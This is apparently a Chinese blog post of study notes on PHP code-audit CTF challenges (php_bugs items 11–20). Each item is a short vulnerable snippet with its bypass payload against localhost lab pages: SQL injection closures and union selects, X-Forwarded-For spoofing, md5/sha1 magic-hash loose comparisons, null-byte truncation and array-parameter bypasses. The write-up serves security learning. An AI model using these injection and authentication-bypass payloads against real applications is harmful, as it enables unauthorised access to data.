php程式碼審計分段學習(php_bug)[2]

spleated發表於2018-03-12

參考:https://github.com/bowu678/php_bugs

11.sql閉合繞過

$sql = “select user from php where (user=`$user`) and (pw=`$pass`)”;嗯好吧這個不就是sqli-labs的Less-3麼,放下writeup好了http://localhost/php_bug/11.php/?user=admin`)#

12.X-Forwarded-For繞過指定IP地址
if ($GetIPs==”1.1.1.1″){
echo “Great! Key is *********”;},直接bp抓包,在http頭裡面加上X-Forwarded-For:1.1.1.1就行了,X-Forwarded-For代表客戶端,裡面存放的是HTTP端請求的真實ip。

13.md5加密相等繞過
$a != `QNKCDZO` && $md51 == $md52,兩個字串不相等但是md5後的值相等,記下writeup。
var_dump(md5(`240610708`) == md5(`QNKCDZO`));//ture
var_dump(md5(`aabg7XSs`) == md5(`aabC9RqS`));//ture
var_dump(sha1(`aaroZmOk`) == sha1(`aaK1STfY`));//ture
var_dump(sha1(`aaO8zKZF`) == sha1(`aa3OFF9m`));//ture
var_dump(`0010e2` == `1e3`);//ture
var_dump(`0x1234Ab` == `1193131`);//ture
var_dump(`0xABCdef` == ` 0xABCdef`);//ture
==對比的時候會進行資料轉換,0eXXXXXXXXX就成0了,如果比較一個數字和字串或者比較涉及到數字內容的字串,則字串會被轉換為數值並且比較按照數值來進行,嗯還是用===好一些,儘量不要用==。

14.intval函式四捨五入
emmmm,這個函式。。。先是查詢的時候intval($_GET[`id`])為1024,但是$_GET[`id`]又不能為1024,直接1024.325加個小數點就行了。。intval會自動將小數點後面的數值舍掉

15 strpos陣列繞過NULL與ereg正則%00截斷
@ereg (“^[1-9]+$”, $_GET[`nctf`]
strpos ($_GET[`nctf`], `#biubiubiu`)
①.這個是要求輸入的內容必須為純數字,但是還有出現#biubiubiu的內容,eregde%00截斷可以實現,但是題目上給的#需要url編碼一下,要不實現不了。http://localhost/php_bug/15.php?nctf=12414%00%23biubiubiu
②.strpos()找的是字串,那麼傳一個陣列給它,strpos()出錯返回null,null!==false,符合要求. 所以輸入nctf[]= ,ereg()在出錯時返回的也是null,null!==falsehttp://localhost/php_bug/15.php?nctf[]=

16.SQL隱碼攻擊or繞過
$query=`SELECT * FROM interest WHERE uname=“.$username.“ AND pwd=“.$password.“;`;
$query=`SELECT * FROM users WHERE name=“admin“ AND pass=“or 1 #“;`;
?username=admin“ AND pass=“or 1 #&password=
有點傳說中的花式閉合的感覺。。

17.密碼md5比較繞過
總感覺眼熟,emmm和第九個是一樣的。。。
?user=` union select `202cb962ac59075b964b07152d234b70` #&pass=123

18.md5()函式===使用陣列繞過
$_GET[`username`] == $_GET[`password`]
md5($_GET[`username`]) === md5($_GET[`password`])
http://localhost/php_bug/18.php?username[]=1&password[]=2,前面已經在sha1()函式比較繞過這個裡面詳細說過了,,基本同樣道理,這裡就不多做描述了。

19 ereg()函式strpos() 函式用陣列返回NULL繞過
ereg (“^[a-zA-Z0-9]+$”, $_GET[`password`])
strpos ($_GET[`password`], `–`)
emm這個和15是一樣的只是ereg()的這個函式現在要求的是隻能出現字母和數字,依舊是兩種方法
http://localhost/php_bug/19.php?password[]=
http://localhost/php_bug/19.php?password=12a%00–

  1. 十六進位制與數字比較
    ($digit >= $one) && ($digit <= $nine)
    $number == $temp
    這個題的要求是輸入的數字不能是1~9的數字,但是又要與3735929054相等,轉化為16進位制
    http://localhost/php_bug/20.php?password=0xdeadc0de
    54975581388轉換成16進製為ccccccccc


相關文章